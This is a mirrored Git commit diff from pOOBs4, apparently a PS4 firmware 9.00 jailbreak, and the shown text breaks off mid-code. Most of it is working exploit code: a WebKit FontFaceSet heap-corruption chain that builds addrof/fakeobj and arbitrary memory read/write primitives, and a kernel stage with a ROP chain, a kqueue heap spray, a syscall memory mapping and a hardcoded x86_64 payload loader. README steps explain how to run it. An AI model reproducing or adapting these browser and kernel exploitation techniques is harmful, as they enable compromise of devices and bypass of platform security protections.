mirror of
https://github.com/ChendoChap/pOOBs4
synced 2024-11-15 21:45:04 -05:00
# Update
- Add @sleirsgoevy 's fix (https://raw.githubusercontent.com/sleirsgoevy/bad_hoist/059f22f3fe472307db3e0b0735b23c80bebe1226/exploit.js) - Comment stuff
This commit is contained in:
parent
dcc5886c89
commit
3a671a2385
10
README.md
10
README.md
@ -25,12 +25,14 @@ When running the exploit on the PS4, wait until it reaches an alert with "Insert
|
|||||||
|
|
||||||
It may take a minute for the exploit to run, and the spinning animation on the page might freeze - this is fine, let it continue until an error shows or it succeeds and displays "Awaiting payload".
|
It may take a minute for the exploit to run, and the spinning animation on the page might freeze - this is fine, let it continue until an error shows or it succeeds and displays "Awaiting payload".
|
||||||
|
|
||||||
## Notes
|
## Extra Notes
|
||||||
- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up.
|
|
||||||
- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot.
|
- Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot.
|
||||||
- The browser might tempt you into closing the page prematurely, don't.
|
- The browser might tempt you into closing the page prematurely, don't.
|
||||||
- The loading circle might freeze while the webkit exploit is triggering, this means nothing.
|
- The loading circle might freeze while the webkit exploit is triggering, this doesn't yet mean that the exploit failed.
|
||||||
|
- The bug predates firmware 1.00, so 1.00-9.00 should be exploitable using the same strategy (you will need a different userland exploit & gadgets).
|
||||||
|
- You can replace the loader with a specific payload to load stuff directly instead of doing it through sockets.
|
||||||
- This bug works on certain PS5 firmwares, however there's no known strategy for exploiting it at the moment. Using this bug against the PS5 blind wouldn't be advised.
|
- This bug works on certain PS5 firmwares, however there's no known strategy for exploiting it at the moment. Using this bug against the PS5 blind wouldn't be advised.
|
||||||
|
- Please don't open issues to tell me that there are none... nor make attempts at making me do your homework for you.
|
||||||
|
|
||||||
## Contributors
|
## Contributors
|
||||||
|
|
||||||
@ -40,4 +42,4 @@ It may take a minute for the exploit to run, and the spinning animation on the p
|
|||||||
|
|
||||||
## Special Thanks
|
## Special Thanks
|
||||||
- [Andy Nguyen](https://twitter.com/theflow0)
|
- [Andy Nguyen](https://twitter.com/theflow0)
|
||||||
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992)
|
- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://github.com/sleirsgoevy/bad_hoist/tree/9.00)
|
||||||
|
245
int64.js
245
int64.js
@ -1,6 +1,3 @@
|
|||||||
// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js
|
|
||||||
//
|
|
||||||
// Copyright (c) 2016 Samuel Groß
|
|
||||||
function int64(low, hi) {
|
function int64(low, hi) {
|
||||||
this.low = (low >>> 0);
|
this.low = (low >>> 0);
|
||||||
this.hi = (hi >>> 0);
|
this.hi = (hi >>> 0);
|
||||||
@ -39,27 +36,6 @@ function int64(low, hi) {
|
|||||||
return new int64(new_lo, new_hi);
|
return new int64(new_lo, new_hi);
|
||||||
}
|
}
|
||||||
|
|
||||||
this.add64 = function(val) {
|
|
||||||
var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0;
|
|
||||||
var new_hi = (this.hi >>> 0);
|
|
||||||
|
|
||||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
|
||||||
new_hi++;
|
|
||||||
}
|
|
||||||
new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0;
|
|
||||||
return new int64(new_lo, new_hi);
|
|
||||||
}
|
|
||||||
this.sub64 = function(val) {
|
|
||||||
var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0;
|
|
||||||
var new_hi = (this.hi >>> 0);
|
|
||||||
|
|
||||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
|
||||||
new_hi--;
|
|
||||||
}
|
|
||||||
new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0;
|
|
||||||
return new int64(new_lo, new_hi);
|
|
||||||
}
|
|
||||||
|
|
||||||
this.sub32inplace = function (val) {
|
this.sub32inplace = function (val) {
|
||||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||||
var new_hi = (this.hi >>> 0);
|
var new_hi = (this.hi >>> 0);
|
||||||
@ -97,19 +73,6 @@ function int64(low, hi) {
|
|||||||
return hi_str + lo_str;
|
return hi_str + lo_str;
|
||||||
}
|
}
|
||||||
|
|
||||||
this.toPacked = function () {
|
|
||||||
return {
|
|
||||||
hi: this.hi,
|
|
||||||
low: this.low
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
this.setPacked = function (pck) {
|
|
||||||
this.hi = pck.hi;
|
|
||||||
this.low = pck.low;
|
|
||||||
return this;
|
|
||||||
}
|
|
||||||
|
|
||||||
return this;
|
return this;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -122,207 +85,13 @@ function zeroFill(number, width) {
|
|||||||
|
|
||||||
return number + ""; // always return a string
|
return number + ""; // always return a string
|
||||||
}
|
}
|
||||||
function Int64(low, high) {
|
|
||||||
var bytes = new Uint8Array(8);
|
|
||||||
|
|
||||||
if (arguments.length > 2 || arguments.length == 0)
|
function zeroFill(number, width) {
|
||||||
throw TypeError("Incorrect number of arguments to constructor");
|
width -= number.toString().length;
|
||||||
if (arguments.length == 2) {
|
|
||||||
if (typeof low != 'number' || typeof high != 'number') {
|
if (width > 0) {
|
||||||
throw TypeError("Both arguments must be numbers");
|
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
|
||||||
}
|
|
||||||
if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) {
|
|
||||||
throw RangeError("Both arguments must fit inside a uint32");
|
|
||||||
}
|
|
||||||
low = low.toString(16);
|
|
||||||
for (let i = 0; i < 8 - low.length; i++) {
|
|
||||||
low = "0" + low;
|
|
||||||
}
|
|
||||||
low = "0x" + high.toString(16) + low;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
switch (typeof low) {
|
return number + ""; // always return a string
|
||||||
case 'number':
|
}
|
||||||
low = '0x' + Math.floor(low).toString(16);
|
|
||||||
case 'string':
|
|
||||||
if (low.substr(0, 2) === "0x")
|
|
||||||
low = low.substr(2);
|
|
||||||
if (low.length % 2 == 1)
|
|
||||||
low = '0' + low;
|
|
||||||
var bigEndian = unhexlify(low, 8);
|
|
||||||
var arr = [];
|
|
||||||
for (var i = 0; i < bigEndian.length; i++) {
|
|
||||||
arr[i] = bigEndian[i];
|
|
||||||
}
|
|
||||||
bytes.set(arr.reverse());
|
|
||||||
break;
|
|
||||||
case 'object':
|
|
||||||
if (low instanceof Int64) {
|
|
||||||
bytes.set(low.bytes());
|
|
||||||
} else {
|
|
||||||
if (low.length != 8)
|
|
||||||
throw TypeError("Array must have excactly 8 elements.");
|
|
||||||
bytes.set(low);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case 'undefined':
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return a double whith the same underlying bit representation.
|
|
||||||
this.asDouble = function () {
|
|
||||||
// Check for NaN
|
|
||||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
|
||||||
throw new RangeError("Can not be represented by a double");
|
|
||||||
|
|
||||||
return Struct.unpack(Struct.float64, bytes);
|
|
||||||
};
|
|
||||||
|
|
||||||
this.asInteger = function () {
|
|
||||||
if (bytes[7] != 0 || bytes[6] > 0x20) {
|
|
||||||
debug_log("SOMETHING BAD HAS HAPPENED!!!");
|
|
||||||
throw new RangeError(
|
|
||||||
"Can not be represented as a regular number");
|
|
||||||
}
|
|
||||||
return Struct.unpack(Struct.int64, bytes);
|
|
||||||
};
|
|
||||||
|
|
||||||
// Return a javascript value with the same underlying bit representation.
|
|
||||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
|
||||||
// due to double conversion constraints.
|
|
||||||
this.asJSValue = function () {
|
|
||||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[
|
|
||||||
6] == 0xff))
|
|
||||||
throw new RangeError(
|
|
||||||
"Can not be represented by a JSValue");
|
|
||||||
|
|
||||||
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
|
||||||
return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes());
|
|
||||||
};
|
|
||||||
|
|
||||||
// Return the underlying bytes of this number as array.
|
|
||||||
this.bytes = function () {
|
|
||||||
var arr = [];
|
|
||||||
for (var i = 0; i < bytes.length; i++) {
|
|
||||||
arr.push(bytes[i])
|
|
||||||
}
|
|
||||||
return arr;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Return the byte at the given index.
|
|
||||||
this.byteAt = function (i) {
|
|
||||||
return bytes[i];
|
|
||||||
};
|
|
||||||
|
|
||||||
// Return the value of this number as unsigned hex string.
|
|
||||||
this.toString = function () {
|
|
||||||
var arr = [];
|
|
||||||
for (var i = 0; i < bytes.length; i++) {
|
|
||||||
arr.push(bytes[i])
|
|
||||||
}
|
|
||||||
return '0x' + hexlify(arr.reverse());
|
|
||||||
};
|
|
||||||
|
|
||||||
this.low32 = function () {
|
|
||||||
return new Uint32Array(bytes.buffer)[0] >>> 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
this.hi32 = function () {
|
|
||||||
return new Uint32Array(bytes.buffer)[1] >>> 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
this.equals = function (other) {
|
|
||||||
if (!(other instanceof Int64)) {
|
|
||||||
other = new Int64(other);
|
|
||||||
}
|
|
||||||
for (var i = 0; i < 8; i++) {
|
|
||||||
if (bytes[i] != other.byteAt(i))
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
return true;
|
|
||||||
};
|
|
||||||
|
|
||||||
this.greater = function (other) {
|
|
||||||
if (!(other instanceof Int64)) {
|
|
||||||
other = new Int64(other);
|
|
||||||
}
|
|
||||||
if (this.hi32() > other.hi32())
|
|
||||||
return true;
|
|
||||||
else if (this.hi32() === other.hi32()) {
|
|
||||||
if (this.low32() > other.low32())
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
};
|
|
||||||
// Basic arithmetic.
|
|
||||||
// These functions assign the result of the computation to their 'this' object.
|
|
||||||
|
|
||||||
// Decorator for Int64 instance operations. Takes care
|
|
||||||
// of converting arguments to Int64 instances if required.
|
|
||||||
function operation(f, nargs) {
|
|
||||||
return function () {
|
|
||||||
if (arguments.length != nargs)
|
|
||||||
throw Error("Not enough arguments for function " + f.name);
|
|
||||||
var new_args = [];
|
|
||||||
for (var i = 0; i < arguments.length; i++) {
|
|
||||||
if (!(arguments[i] instanceof Int64)) {
|
|
||||||
new_args[i] = new Int64(arguments[i]);
|
|
||||||
} else {
|
|
||||||
new_args[i] = arguments[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return f.apply(this, new_args);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
this.neg = operation(function neg() {
|
|
||||||
var ret = [];
|
|
||||||
for (var i = 0; i < 8; i++)
|
|
||||||
ret[i] = ~this.byteAt(i);
|
|
||||||
return new Int64(ret).add(Int64.One);
|
|
||||||
}, 0);
|
|
||||||
|
|
||||||
this.add = operation(function add(a) {
|
|
||||||
var ret = [];
|
|
||||||
var carry = 0;
|
|
||||||
for (var i = 0; i < 8; i++) {
|
|
||||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
|
||||||
carry = cur > 0xff | 0;
|
|
||||||
ret[i] = cur;
|
|
||||||
}
|
|
||||||
return new Int64(ret);
|
|
||||||
}, 1);
|
|
||||||
|
|
||||||
this.assignAdd = operation(function assignAdd(a) {
|
|
||||||
var carry = 0;
|
|
||||||
for (var i = 0; i < 8; i++) {
|
|
||||||
var cur = this.byteAt(i) + a.byteAt(i) + carry;
|
|
||||||
carry = cur > 0xff | 0;
|
|
||||||
bytes[i] = cur;
|
|
||||||
}
|
|
||||||
return this;
|
|
||||||
}, 1);
|
|
||||||
|
|
||||||
|
|
||||||
this.sub = operation(function sub(a) {
|
|
||||||
var ret = [];
|
|
||||||
var carry = 0;
|
|
||||||
for (var i = 0; i < 8; i++) {
|
|
||||||
var cur = this.byteAt(i) - a.byteAt(i) - carry;
|
|
||||||
carry = cur < 0 | 0;
|
|
||||||
ret[i] = cur;
|
|
||||||
}
|
|
||||||
return new Int64(ret);
|
|
||||||
}, 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
|
||||||
Int64.fromDouble = function (d) {
|
|
||||||
var bytes = Struct.pack(Struct.float64, d);
|
|
||||||
return new Int64(bytes);
|
|
||||||
};
|
|
||||||
|
|
||||||
// Some commonly used numbers.
|
|
||||||
Int64.Zero = new Int64(0);
|
|
||||||
Int64.One = new Int64(1);
|
|
||||||
Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff);
|
|
20
kexploit.js
20
kexploit.js
@ -86,6 +86,9 @@ var ipmi_gadgetmap = {
|
|||||||
|
|
||||||
function userland() {
|
function userland() {
|
||||||
|
|
||||||
|
//RW -> ROP method is strongly based of:
|
||||||
|
//https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
|
||||||
|
|
||||||
p.launch_chain = launch_chain;
|
p.launch_chain = launch_chain;
|
||||||
p.malloc = malloc;
|
p.malloc = malloc;
|
||||||
p.malloc32 = malloc32;
|
p.malloc32 = malloc32;
|
||||||
@ -259,11 +262,18 @@ function run_hax() {
|
|||||||
if (chain.syscall(23, 0).low != 0x0) {
|
if (chain.syscall(23, 0).low != 0x0) {
|
||||||
kernel();
|
kernel();
|
||||||
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
|
//this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
|
||||||
|
//p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though...
|
||||||
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
|
var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
|
||||||
var payload_loader = p.malloc32(0x1000);
|
var payload_loader = p.malloc32(0x1000);
|
||||||
|
|
||||||
|
//NOTE: You can replace this with a payload instead of the loader.
|
||||||
|
//You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
|
||||||
|
//And other ways, ....
|
||||||
|
|
||||||
|
//This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
|
||||||
var loader_writer = payload_loader.backing;
|
var loader_writer = payload_loader.backing;
|
||||||
loader_writer[0] = 0x56415741;
|
loader_writer[0] = 0x56415741;
|
||||||
loader_writer[1] = 0x83485541;
|
loader_writer[1] = 0x83485541;
|
||||||
@ -369,6 +379,7 @@ function load_prx(name) {
|
|||||||
return tlsinit;
|
return tlsinit;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//Obtain extra gadgets through module loading
|
||||||
function extra_gadgets() {
|
function extra_gadgets() {
|
||||||
handle = p.malloc(0x150);
|
handle = p.malloc(0x150);
|
||||||
var randomized_path_ptr = handle.add32(0x4);
|
var randomized_path_ptr = handle.add32(0x4);
|
||||||
@ -396,6 +407,7 @@ function extra_gadgets() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
|
||||||
function kchain_setup() {
|
function kchain_setup() {
|
||||||
const KERNEL_setidt = 0x312c40;
|
const KERNEL_setidt = 0x312c40;
|
||||||
const KERNEL_setcr0 = 0x1FB949;
|
const KERNEL_setcr0 = 0x1FB949;
|
||||||
@ -573,12 +585,10 @@ function object_setup() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var trigger_spray = function () {
|
var trigger_spray = function () {
|
||||||
//Make socket <= 0xFF | -> alloc 0x800
|
|
||||||
|
|
||||||
|
|
||||||
var NUM_KQUEUES = 0x1B0;
|
var NUM_KQUEUES = 0x1B0;
|
||||||
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
|
var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
|
||||||
//Make Kqueues
|
//Make kqueues
|
||||||
{
|
{
|
||||||
for (var i = 0; i < NUM_KQUEUES; i++) {
|
for (var i = 0; i < NUM_KQUEUES; i++) {
|
||||||
chain.fcall(window.syscalls[362]);
|
chain.fcall(window.syscalls[362]);
|
||||||
@ -629,7 +639,9 @@ var trigger_spray = function () {
|
|||||||
if (chain.syscall(23, 0).low == 0) {
|
if (chain.syscall(23, 0).low == 0) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
alert("exploit failed (kernel heap might be fucked if you *did* insert the USB");
|
alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
|
||||||
|
if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
|
||||||
|
closing this alert will crash the browser for you.`);
|
||||||
p.write8(0, 0);
|
p.write8(0, 0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
254
webkit.js
254
webkit.js
@ -2,7 +2,7 @@ var PAGE_SIZE = 16384;
|
|||||||
var SIZEOF_CSS_FONT_FACE = 0xb8;
|
var SIZEOF_CSS_FONT_FACE = 0xb8;
|
||||||
var HASHMAP_BUCKET = 208;
|
var HASHMAP_BUCKET = 208;
|
||||||
var STRING_OFFSET = 20;
|
var STRING_OFFSET = 20;
|
||||||
var SPRAY_FONTS = 0x1000;
|
var SPRAY_FONTS = 0x100a;
|
||||||
var GUESS_FONT = 0x200430000;
|
var GUESS_FONT = 0x200430000;
|
||||||
var NPAGES = 20;
|
var NPAGES = 20;
|
||||||
var INVALID_POINTER = 0;
|
var INVALID_POINTER = 0;
|
||||||
@ -11,12 +11,6 @@ var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
|
|||||||
|
|
||||||
function poc() {
|
function poc() {
|
||||||
|
|
||||||
function hex(n) {
|
|
||||||
if ((typeof n) != "number")
|
|
||||||
return "" + n;
|
|
||||||
return "0x" + (new Number(n)).toString(16);
|
|
||||||
}
|
|
||||||
|
|
||||||
var union = new ArrayBuffer(8);
|
var union = new ArrayBuffer(8);
|
||||||
var union_b = new Uint8Array(union);
|
var union_b = new Uint8Array(union);
|
||||||
var union_i = new Uint32Array(union);
|
var union_i = new Uint32Array(union);
|
||||||
@ -78,6 +72,10 @@ function poc() {
|
|||||||
var ite = true;
|
var ite = true;
|
||||||
var matches = 0;
|
var matches = 0;
|
||||||
|
|
||||||
|
var round = 0;
|
||||||
|
|
||||||
|
window.ffses = {};
|
||||||
|
|
||||||
do {
|
do {
|
||||||
|
|
||||||
var p_s = ptrToString(NPAGES + 2); // vector.size()
|
var p_s = ptrToString(NPAGES + 2); // vector.size()
|
||||||
@ -88,7 +86,7 @@ function poc() {
|
|||||||
for (var i = 0; i < 256; i++)
|
for (var i = 0; i < 256; i++)
|
||||||
mkString(HASHMAP_BUCKET, p_s);
|
mkString(HASHMAP_BUCKET, p_s);
|
||||||
|
|
||||||
var ffs = new FontFaceSet(bad_fonts);
|
var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
|
||||||
|
|
||||||
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
|
var badstr1 = mkString(HASHMAP_BUCKET, p_s);
|
||||||
|
|
||||||
@ -96,7 +94,7 @@ function poc() {
|
|||||||
var guessed_addr = null;
|
var guessed_addr = null;
|
||||||
|
|
||||||
for (var i = 0; i < SPRAY_FONTS; i++) {
|
for (var i = 0; i < SPRAY_FONTS; i++) {
|
||||||
bad_fonts[i].family = "evil";
|
bad_fonts[i].family = "search" + round;
|
||||||
if (badstr1.substr(0, p_s.length) != p_s) {
|
if (badstr1.substr(0, p_s.length) != p_s) {
|
||||||
guessed_font = i;
|
guessed_font = i;
|
||||||
var p_s1 = badstr1.substr(0, p_s.length);
|
var p_s1 = badstr1.substr(0, p_s.length);
|
||||||
@ -130,16 +128,17 @@ function poc() {
|
|||||||
for (var i = 0; i < 256; i++)
|
for (var i = 0; i < 256; i++)
|
||||||
mkString(HASHMAP_BUCKET, p_s);
|
mkString(HASHMAP_BUCKET, p_s);
|
||||||
|
|
||||||
var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
var needfix = [];
|
||||||
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
for (var i = 0;; i++) {
|
||||||
mkString(HASHMAP_BUCKET, p_s);
|
ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
|
||||||
|
var badstr2 = mkString(HASHMAP_BUCKET, p_s);
|
||||||
bad_fonts[guessed_font].family = "evil2";
|
needfix.push(mkString(HASHMAP_BUCKET, p_s));
|
||||||
bad_fonts[guessed_font + 1].family = "evil3";
|
bad_fonts[guessed_font].family = "evil2";
|
||||||
|
bad_fonts[guessed_font + 1].family = "evil3";
|
||||||
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
|
||||||
|
if (leak < 0x1000000000000)
|
||||||
var ffses = {};
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
function makeReader(read_addr, ffs_name) {
|
function makeReader(read_addr, ffs_name) {
|
||||||
var fake_s = '';
|
var fake_s = '';
|
||||||
@ -162,6 +161,7 @@ function poc() {
|
|||||||
bad_fonts[guessed_font].family = ffs_name + "_evil1";
|
bad_fonts[guessed_font].family = ffs_name + "_evil1";
|
||||||
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
|
bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
|
||||||
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
|
bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
|
||||||
|
needfix.push(relative_read);
|
||||||
if (relative_read.length < 1000) //failed
|
if (relative_read.length < 1000) //failed
|
||||||
return makeReader(read_addr, ffs_name + '_');
|
return makeReader(read_addr, ffs_name + '_');
|
||||||
return relative_read;
|
return relative_read;
|
||||||
@ -206,7 +206,6 @@ function poc() {
|
|||||||
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
|
var rd_leak = makeReader(jsvalue_leak, 'ffs4');
|
||||||
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
|
var array256 = stringToPtr(rd_leak, 16); //arrays[256]
|
||||||
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
|
var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
|
||||||
var sanity = stringToPtr(rd_leak, 32);
|
|
||||||
|
|
||||||
var rd_arr = makeReader(array256, 'ffs5');
|
var rd_arr = makeReader(array256, 'ffs5');
|
||||||
var butterfly = stringToPtr(rd_arr, 8);
|
var butterfly = stringToPtr(rd_arr, 8);
|
||||||
@ -254,33 +253,39 @@ function poc() {
|
|||||||
for (var i = 0; i < HAMMER_NSTRINGS; i++)
|
for (var i = 0; i < HAMMER_NSTRINGS; i++)
|
||||||
mkString(HASHMAP_BUCKET, pp_s);
|
mkString(HASHMAP_BUCKET, pp_s);
|
||||||
|
|
||||||
var ffs7 = new FontFaceSet(ffs7_args);
|
ffses.ffs7 = new FontFaceSet(ffs7_args);
|
||||||
mkString(HASHMAP_BUCKET, pp_s);
|
mkString(HASHMAP_BUCKET, pp_s);
|
||||||
var ffs8 = new FontFaceSet(ffs8_args);
|
ffses.ffs8 = new FontFaceSet(ffs8_args);
|
||||||
mkString(HASHMAP_BUCKET, fake_s);
|
var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
|
||||||
|
needfix.push(post_ffs);
|
||||||
|
|
||||||
for (var i = 0; i < 13; i++)
|
for (var i = 0; i < 13; i++)
|
||||||
bad_fonts[guessed_font + i].family = "hammer" + i;
|
bad_fonts[guessed_font + i].family = "hammer" + i;
|
||||||
|
|
||||||
|
function boot_addrof(obj) {
|
||||||
window.addrof = function (obj) {
|
|
||||||
arrays[257][32] = obj;
|
arrays[257][32] = obj;
|
||||||
union_f[0] = arrays[258][0];
|
union_f[0] = arrays[258][0];
|
||||||
return new int64(union_i[0], union_i[1]);
|
return union_i[1] * 0x100000000 + union_i[0];
|
||||||
}
|
}
|
||||||
|
|
||||||
window.fakeobj = function (addr) {
|
function boot_fakeobj(addr) {
|
||||||
union_i[0] = addr.low;
|
union_i[0] = addr;
|
||||||
union_i[1] = addr.hi;
|
union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
|
||||||
arrays[258][0] = union_f[0];
|
arrays[258][0] = union_f[0];
|
||||||
return arrays[257][32];
|
return arrays[257][32];
|
||||||
}
|
}
|
||||||
|
|
||||||
//craft misaligned typedarray
|
//craft misaligned typedarray
|
||||||
|
|
||||||
var arw_master = new Uint32Array(8);
|
var arw_master = new Uint32Array(8);
|
||||||
var arw_slave = new Uint32Array(2);
|
var arw_slave = new Uint8Array(1);
|
||||||
|
var obj_master = new Uint32Array(8);
|
||||||
|
var obj_slave = {
|
||||||
|
obj: null
|
||||||
|
};
|
||||||
|
|
||||||
var addrof_slave = addrof(arw_slave);
|
var addrof_slave = boot_addrof(arw_slave);
|
||||||
|
var addrof_obj_slave = boot_addrof(obj_slave);
|
||||||
union_i[0] = structureid_low;
|
union_i[0] = structureid_low;
|
||||||
union_i[1] = structureid_high;
|
union_i[1] = structureid_high;
|
||||||
union_b[6] = 7;
|
union_b[6] = 7;
|
||||||
@ -291,78 +296,163 @@ function poc() {
|
|||||||
size: 0x5678
|
size: 0x5678
|
||||||
};
|
};
|
||||||
|
|
||||||
|
function i48_put(x, a) {
|
||||||
|
a[4] = x | 0;
|
||||||
|
a[5] = (x / 4294967296) | 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function i48_get(a) {
|
||||||
|
return a[4] + a[5] * 4294967296;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.addrof = function (x) {
|
||||||
|
obj_slave.obj = x;
|
||||||
|
return i48_get(obj_master);
|
||||||
|
}
|
||||||
|
|
||||||
|
window.fakeobj = function (x) {
|
||||||
|
i48_put(x, obj_master);
|
||||||
|
return obj_slave.obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
function read_mem_setup(p, sz) {
|
||||||
|
i48_put(p, arw_master);
|
||||||
|
arw_master[6] = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.read_mem = function (p, sz) {
|
||||||
|
read_mem_setup(p, sz);
|
||||||
|
var arr = [];
|
||||||
|
for (var i = 0; i < sz; i++)
|
||||||
|
arr.push(arw_slave[i]);
|
||||||
|
return arr;
|
||||||
|
};
|
||||||
|
|
||||||
|
window.write_mem = function (p, data) {
|
||||||
|
read_mem_setup(p, data.length);
|
||||||
|
for (var i = 0; i < data.length; i++)
|
||||||
|
arw_slave[i] = data[i];
|
||||||
|
};
|
||||||
|
|
||||||
|
window.read_ptr_at = function (p) {
|
||||||
|
var ans = 0;
|
||||||
|
var d = read_mem(p, 8);
|
||||||
|
for (var i = 7; i >= 0; i--)
|
||||||
|
ans = 256 * ans + d[i];
|
||||||
|
return ans;
|
||||||
|
};
|
||||||
|
|
||||||
|
window.write_ptr_at = function (p, d) {
|
||||||
|
var arr = [];
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
arr.push(d & 0xff);
|
||||||
|
d /= 256;
|
||||||
|
}
|
||||||
|
write_mem(p, arr);
|
||||||
|
};
|
||||||
|
|
||||||
(function () {
|
(function () {
|
||||||
var magic = fakeobj(addrof(obj).add32(0x10));
|
var magic = boot_fakeobj(boot_addrof(obj) + 16);
|
||||||
magic[4] = addrof_slave.low;
|
magic[4] = addrof_slave;
|
||||||
magic[5] = addrof_slave.hi;
|
magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
|
||||||
|
obj.buffer = obj_master;
|
||||||
|
magic[4] = addrof_obj_slave;
|
||||||
|
magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
|
||||||
magic = null;
|
magic = null;
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
//fix fucked objects to stabilize webkit
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
//fix fontfaceset (memmoved 96 bytes to low, move back)
|
||||||
|
var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
|
||||||
|
write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
|
||||||
|
//fix strings (restore "valid") header
|
||||||
|
for (var i = 0; i < needfix.length; i++) {
|
||||||
|
var addr = read_ptr_at(addrof(needfix[i]) + 8);
|
||||||
|
write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
|
||||||
|
write_ptr_at(addr + 8, addr + 20);
|
||||||
|
write_ptr_at(addr + 16, 0x80000014);
|
||||||
|
}
|
||||||
|
//fix array butterfly
|
||||||
|
write_ptr_at(butterfly + 248, 0x1f0000001f);
|
||||||
|
})();
|
||||||
|
|
||||||
|
//^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
|
||||||
|
|
||||||
|
//create compat stuff for kexploit.js
|
||||||
|
var expl_master = new Uint32Array(8);
|
||||||
|
var expl_slave = new Uint32Array(2);
|
||||||
|
var addrof_expl_slave = addrof(expl_slave);
|
||||||
|
var m = fakeobj(addrof(obj) + 16);
|
||||||
|
